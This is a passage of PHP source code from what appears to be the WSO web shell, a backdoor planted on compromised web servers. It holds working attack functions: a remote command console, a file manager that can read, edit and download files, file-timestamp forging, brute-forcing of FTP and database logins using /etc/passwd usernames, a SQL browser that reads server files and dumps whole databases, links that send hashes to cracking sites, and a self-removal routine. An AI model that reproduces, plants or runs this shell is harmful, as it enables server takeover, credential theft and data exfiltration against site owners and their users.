546 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
547 }
548 usort($files, "wsoCmp");
549 usort($dirs, "wsoCmp");
550 $files = array_merge($dirs, $files);
551 $l = 0;
552 foreach ($files as $f) {
553 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
554 $l = $l ? 0 : 1;
555 }
556 echo "<tr><td colspan=7>
557<input type=hidden name=a value='FilesMan'>
558<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
559<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
560<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
561 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
562 echo "<option value='tar'>Compress (tar.gz)</option>";
563 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
564 echo "</select> ";
565 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
566 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
567 wsoFooter();
568 }
569 function actionStringTools() {
570 if (!function_exists('hex2bin')) {
571 function hex2bin($p) {
572 return decbin(hexdec($p));
573 }
574 }
575 if (!function_exists('binhex')) {
576 function binhex($p) {
577 return dechex(bindec($p));
578 }
579 }
580 if (!function_exists('hex2ascii')) {
581 function hex2ascii($p) {
582 $r = '';
583 for ($i = 0;$i < strLen($p);$i+= 2) {
584 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
585 }
586 return $r;
587 }
588 }
589 if (!function_exists('ascii2hex')) {
590 function ascii2hex($p) {
591 $r = '';
592 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
593 return strtoupper($r);
594 }
595 }
596 if (!function_exists('full_urlencode')) {
597 function full_urlencode($p) {
598 $r = '';
599 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
600 return strtoupper($r);
601 }
602 }
603 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
604 if (isset($_POST['ajax'])) {
605 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
606 ob_start();
607 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
608 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
609
610 \'") . "';
611";
612 echo strlen($temp), "
613", $temp;
614 exit;
615 }
616 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
617 wsoHeader();
618 echo '<h1>String conversions</h1><div class=content>';
619 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
620 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
621 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
622 if (!empty($_POST['p1'])) {
623 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
624 }
625 echo "</pre></div><br><h1>Search files:</h1><div class=content>
626<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
627<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
628<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
629<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
630<tr><td></td><td><input type='submit' value='>>'></td></tr>
631</table></form>";
632 function wsoRecursiveGlob($path) {
633 if (substr($path, -1) != '/') $path.= '/';
634 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
635 if (is_array($paths) && @count($paths)) {
636 foreach ($paths as $item) {
637 if (@is_dir($item)) {
638 if ($path != $item) wsoRecursiveGlob($item);
639 } else {
640 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
641 }
642 }
643 }
644 }
645 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
646 echo "</div><br><h1>Search for hash:</h1><div class=content>
647<form method='post' target='_blank' name='hf'>
648<input type='text' name='hash' style='width:200px;'><br>
649 <input type='hidden' name='act' value='find'/>
650<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
651<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
652 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
653</form></div>";
654 wsoFooter();
655 }
656 function actionFilesTools() {
657 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
658 if (@$_POST['p2'] == 'download') {
659 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
660 ob_start("ob_gzhandler", 4096);
661 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
662 if (function_exists("mime_content_type")) {
663 $type = @mime_content_type($_POST['p1']);
664 header("Content-Type: " . $type);
665 } else header("Content-Type: application/octet-stream");
666 $fp = @fopen($_POST['p1'], "r");
667 if ($fp) {
668 while (!@feof($fp)) echo @fread($fp, 1024);
669 fclose($fp);
670 }
671 }
672 exit;
673 }
674 if (@$_POST['p2'] == 'mkfile') {
675 if (!file_exists($_POST['p1'])) {
676 $fp = @fopen($_POST['p1'], 'w');
677 if ($fp) {
678 $_POST['p2'] = "edit";
679 fclose($fp);
680 }
681 }
682 }
683 wsoHeader();
684 echo '<h1>File tools</h1><div class=content>';
685 if (!file_exists(@$_POST['p1'])) {
686 echo 'File not exists';
687 wsoFooter();
688 return;
689 }
690 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
691 if (!$uid) {
692 $uid['name'] = @fileowner($_POST['p1']);
693 $gid['name'] = @filegroup($_POST['p1']);
694 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
695 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
696 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
697 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
698 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
699 else $m = array('Chmod', 'Rename', 'Touch');
700 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
701 echo '<br><br>';
702 switch ($_POST['p2']) {
703 case 'view':
704 echo '<pre class=ml1>';
705 $fp = @fopen($_POST['p1'], 'r');
706 if ($fp) {
707 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
708 @fclose($fp);
709 }
710 echo '</pre>';
711 break;
712 case 'highlight':
713 if (@is_readable($_POST['p1'])) {
714 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
715 $code = @highlight_file($_POST['p1'], true);
716 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
717 }
718 break;
719 case 'chmod':
720 if (!empty($_POST['p3'])) {
721 $perms = 0;
722 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
723 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
724 }
725 clearstatcache();
726 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
727 break;
728 case 'edit':
729 if (!is_writable($_POST['p1'])) {
730 echo 'File isn\'t writeable';
731 break;
732 }
733 if (!empty($_POST['p3'])) {
734 $time = @filemtime($_POST['p1']);
735 $_POST['p3'] = substr($_POST['p3'], 1);
736 $fp = @fopen($_POST['p1'], "w");
737 if ($fp) {
738 @fwrite($fp, $_POST['p3']);
739 @fclose($fp);
740 echo 'Saved!<br><script>p3_="";</script>';
741 @touch($_POST['p1'], $time, $time);
742 }
743 }
744 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
745 $fp = @fopen($_POST['p1'], 'r');
746 if ($fp) {
747 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
748 @fclose($fp);
749 }
750 echo '</textarea><input type=submit value=">>"></form>';
751 break;
752 case 'hexdump':
753 $c = @file_get_contents($_POST['p1']);
754 $n = 0;
755 $h = array('00000000<br>', '', '');
756 $len = strlen($c);
757 for ($i = 0;$i < $len;++$i) {
758 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
759 switch (ord($c[$i])) {
760 case 0:
761 $h[2].= ' ';
762 break;
763 case 9:
764 $h[2].= ' ';
765 break;
766 case 10:
767 $h[2].= ' ';
768 break;
769 case 13:
770 $h[2].= ' ';
771 break;
772 default:
773 $h[2].= $c[$i];
774 break;
775 }
776 $n++;
777 if ($n == 32) {
778 $n = 0;
779 if ($i + 1 < $len) {
780 $h[0].= sprintf('%08X', $i + 1) . '<br>';
781 }
782 $h[1].= '<br>';
783 $h[2].= "
784";
785 }
786 }
787 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
788 break;
789 case 'rename':
790 if (!empty($_POST['p3'])) {
791 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
792 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
793 }
794 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
795 break;
796 case 'touch':
797 if (!empty($_POST['p3'])) {
798 $time = strtotime($_POST['p3']);
799 if ($time) {
800 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
801 else echo 'Touched!';
802 } else echo 'Bad time format!';
803 }
804 clearstatcache();
805 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
806 break;
807 }
808 echo '</div>';
809 wsoFooter();
810 }
811 function actionConsole() {
812 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
813 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
814 $_POST['p1'].= ' 2>&1';
815 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
816 if (isset($_POST['ajax'])) {
817 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
818 ob_start();
819 echo "d.cf.cmd.value='';
820";
821 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
822$ " . $_POST['p1'] . "
823" . wsoEx($_POST['p1']), "
824
825 \'"));
826 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
827 if (@chdir($match[1])) {
828 $GLOBALS['cwd'] = @getcwd();
829 echo "c_='" . $GLOBALS['cwd'] . "';";
830 }
831 }
832 echo "d.cf.output.value+='" . $temp . "';";
833 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
834 $temp = ob_get_clean();
835 echo strlen($temp), "
836", $temp;
837 exit;
838 }
839 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
840 wsoHeader();
841 echo "<script>
842if(window.Event) window.captureEvents(Event.KEYDOWN);
843var cmds = new Array('');
844var cur = 0;
845function kp(e) {
846var n = (window.Event) ? e.which : e.keyCode;
847if(n == 38) {
848cur--;
849if(cur>=0)
850document.cf.cmd.value = cmds[cur];
851else
852cur++;
853} else if(n == 40) {
854cur++;
855if(cur < cmds.length)
856document.cf.cmd.value = cmds[cur];
857else
858cur--;
859}
860}
861function add(cmd) {
862cmds.pop();
863cmds.push(cmd);
864cmds.push('');
865cur = cmds.length-1;
866}
867</script>";
868 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
869 foreach ($GLOBALS['aliases'] as $n => $v) {
870 if ($v == '') {
871 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
872 continue;
873 }
874 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
875 }
876 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
877 if (!empty($_POST['p1'])) {
878 echo htmlspecialchars("$ " . $_POST['p1'] . "
879" . wsoEx($_POST['p1']));
880 }
881 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
882 echo '</form></div><script>d.cf.cmd.focus();</script>';
883 wsoFooter();
884 }
885 function actionLogout() {
886 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
887 die('bye!');
888 }
889 function actionSelfRemove() {
890 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
891 else echo 'unlink error!';
892 if ($_POST['p1'] != 'yes') wsoHeader();
893 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
894 wsoFooter();
895 }
896 function actionBruteforce() {
897 wsoHeader();
898 if (isset($_POST['proto'])) {
899 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
900 if ($_POST['proto'] == 'ftp') {
901 function wsoBruteForce($ip, $port, $login, $pass) {
902 $fp = @ftp_connect($ip, $port ? $port : 21);
903 if (!$fp) return false;
904 $res = @ftp_login($fp, $login, $pass);
905 @ftp_close($fp);
906 return $res;
907 }
908 } elseif ($_POST['proto'] == 'mysql') {
909 function wsoBruteForce($ip, $port, $login, $pass) {
910 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
911 @mysql_close($res);
912 return $res;
913 }
914 } elseif ($_POST['proto'] == 'pgsql') {
915 function wsoBruteForce($ip, $port, $login, $pass) {
916 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
917 $res = @pg_connect($str);
918 @pg_close($res);
919 return $res;
920 }
921 }
922 $success = 0;
923 $attempts = 0;
924 $server = explode(":", $_POST['server']);
925 if ($_POST['type'] == 1) {
926 $temp = @file('/etc/passwd');
927 if (is_array($temp)) foreach ($temp as $line) {
928 $line = explode(":", $line);
929 ++$attempts;
930 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
931 $success++;
932 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
933 }
934 if (@$_POST['reverse']) {
935 $tmp = "";
936 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
937 ++$attempts;
938 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
939 $success++;
940 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
941 }
942 }
943 }
944 } elseif ($_POST['type'] == 2) {
945 $temp = @file($_POST['dict']);
946 if (is_array($temp)) foreach ($temp as $line) {
947 $line = trim($line);
948 ++$attempts;
949 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
950 $success++;
951 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
952 }
953 }
954 }
955 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
956 }
957 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
958 echo '</div><br>';
959 wsoFooter();
960 }
961 function actionSql() {
962 class DbClass {
963 var $type;
964 var $link;
965 var $res;
966 function DbClass($type) {
967 $this->type = $type;
968 }
969 function connect($host, $user, $pass, $dbname) {
970 switch ($this->type) {
971 case 'mysql':
972 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
973 break;
974 case 'pgsql':
975 $host = explode(':', $host);
976 if (!$host[1]) $host[1] = 5432;
977 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
978 break;
979 }
980 return false;
981 }
982 function selectdb($db) {
983 switch ($this->type) {
984 case 'mysql':
985 if (@mysql_select_db($db)) return true;
986 break;
987 }
988 return false;
989 }
990 function query($str) {
991 switch ($this->type) {
992 case 'mysql':
993 return $this->res = @mysql_query($str);
994 break;
995 case 'pgsql':
996 return $this->res = @pg_query($this->link, $str);
997 break;
998 }
999 return false;
1000 }
1001 function fetch() {
1002 $res = func_num_args() ? func_get_arg(0) : $this->res;
1003 switch ($this->type) {
1004 case 'mysql':
1005 return @mysql_fetch_assoc($res);
1006 break;
1007 case 'pgsql':
1008 return @pg_fetch_assoc($res);
1009 break;
1010 }
1011 return false;
1012 }
1013 function listDbs() {
1014 switch ($this->type) {
1015 case 'mysql':
1016 return $this->query("SHOW databases");
1017 break;
1018 case 'pgsql':
1019 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1020 break;
1021 }
1022 return false;
1023 }
1024 function listTables() {
1025 switch ($this->type) {
1026 case 'mysql':
1027 return $this->res = $this->query('SHOW TABLES');
1028 break;
1029 case 'pgsql':
1030 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1031 break;
1032 }
1033 return false;
1034 }
1035 function error() {
1036 switch ($this->type) {
1037 case 'mysql':
1038 return @mysql_error();
1039 break;
1040 case 'pgsql':
1041 return @pg_last_error();
1042 break;
1043 }
1044 return false;
1045 }
1046 function setCharset($str) {
1047 switch ($this->type) {
1048 case 'mysql':
1049 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1050 else $this->query('SET CHARSET ' . $str);
1051 break;
1052 case 'pgsql':
1053 return @pg_set_client_encoding($this->link, $str);
1054 break;
1055 }
1056 return false;
1057 }
1058 function loadFile($str) {
1059 switch ($this->type) {
1060 case 'mysql':
1061 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1062 break;
1063 case 'pgsql':
1064 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1065 $r = array();
1066 while ($i = $this->fetch()) $r[] = $i['file'];
1067 $this->query('drop table wso2');
1068 return array('file' => implode("
1069", $r));
1070 break;
1071 }
1072 return false;
1073 }
1074 function dump($table, $fp = false) {
1075 switch ($this->type) {
1076 case 'mysql':
1077 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1078 $create = mysql_fetch_array($res);
1079 $sql = $create[1] . ";
1080";
1081 if ($fp) fwrite($fp, $sql);
1082 else echo ($sql);
1083 $this->query('SELECT * FROM `' . $table . '`');
1084 $i = 0;
1085 $head = true;
1086 while ($item = $this->fetch()) {
1087 $sql = '';
1088 if ($i % 1000 == 0) {
1089 $head = true;
1090 $sql = ";
1091
1092";
1093 }
1094 $columns = array();
1095 foreach ($item as $k => $v) {
1096 if ($v === null) $item[$k] = "NULL";
1097 elseif (is_int($v)) $item[$k] = $v;
1098 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1099 $columns[] = "`" . $k . "`";
1100 }
1101 if ($head) {
1102 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1103 (" . implode(", ", $item) . ')';
1104 $head = false;
1105 } else $sql.= "
1106 ,(" . implode(", ", $item) . ')';
1107 if ($fp) fwrite($fp, $sql);
1108 else echo ($sql);
1109 $i++;
1110 }
1111 if (!$head) if ($fp) fwrite($fp, ";
1112
1113");
1114 else echo (";
1115
1116");
1117 break;
1118 case 'pgsql':
1119 $this->query('SELECT * FROM ' . $table);
1120 while ($item = $this->fetch()) {
1121 $columns = array();
1122 foreach ($item as $k => $v) {
1123 $item[$k] = "'" . addslashes($v) . "'";
1124 $columns[] = $k;
1125 }
1126 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1127";
1128 if ($fp) fwrite($fp, $sql);
1129 else echo ($sql);
1130 }
1131 break;
1132 }
1133 return false;
1134 }
1135 };
1136 $db = new DbClass($_POST['type']);
1137 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1138 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1139 $db->selectdb($_POST['sql_base']);
1140 switch ($_POST['charset']) {
1141 case "Windows-1251":
1142 $db->setCharset('cp1251');
1143 break;
1144 case "UTF-8":
1145 $db->setCharset('utf8');
1146 break;
1147 case "KOI8-R":
1148 $db->setCharset('koi8r');
1149 break;
1150 case "KOI8-U":
1151 $db->setCharset('koi8u');
1152 break;
1153 case "cp866":
1154 $db->setCharset('cp866');
1155 break;
1156 }
1157 if (empty($_POST['file'])) {
1158 ob_start("ob_gzhandler", 4096);
1159 header("Content-Disposition: attachment; filename=dump.sql");
1160 header("Content-Type: text/plain");
1161 foreach ($_POST['tbl'] as $v) $db->dump($v);
1162 exit;
1163 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1164 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1165 fclose($fp);
1166 unset($_POST['p2']);
1167 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1168 }
1169 wsoHeader();
1170 echo "
1171<h1>Sql browser</h1><div class=content>
1172<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1173<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1174<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1175<td><select name='type'><option value='mysql' ";
1176 if (@$_POST['type'] == 'mysql') echo 'selected';
1177 echo ">MySql</option><option value='pgsql' ";
1178 if (@$_POST['type'] == 'pgsql') echo 'selected';
1179 echo ">PostgreSql</option></select></td>
1180<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1181<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1182<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1183 $tmp = "<input type=text name=sql_base value=''>";
1184 if (isset($_POST['sql_host'])) {
1185 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1186 switch ($_POST['charset']) {
1187 case "Windows-1251":
1188 $db->setCharset('cp1251');
1189 break;
1190 case "UTF-8":
1191 $db->setCharset('utf8');
1192 break;
1193 case "KOI8-R":
1194 $db->setCharset('koi8r');
1195 break;
1196 case "KOI8-U":
1197 $db->setCharset('koi8u');
1198 break;
1199 case "cp866":
1200 $db->setCharset('cp866');
1201 break;
1202 }
1203 $db->listDbs();
1204 echo "<select name=sql_base><option value=''></option>";
1205 while ($item = $db->fetch()) {
1206 list($key, $value) = each($item);
1207 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1208 }
1209 echo '</select>';
1210 } else echo $tmp;
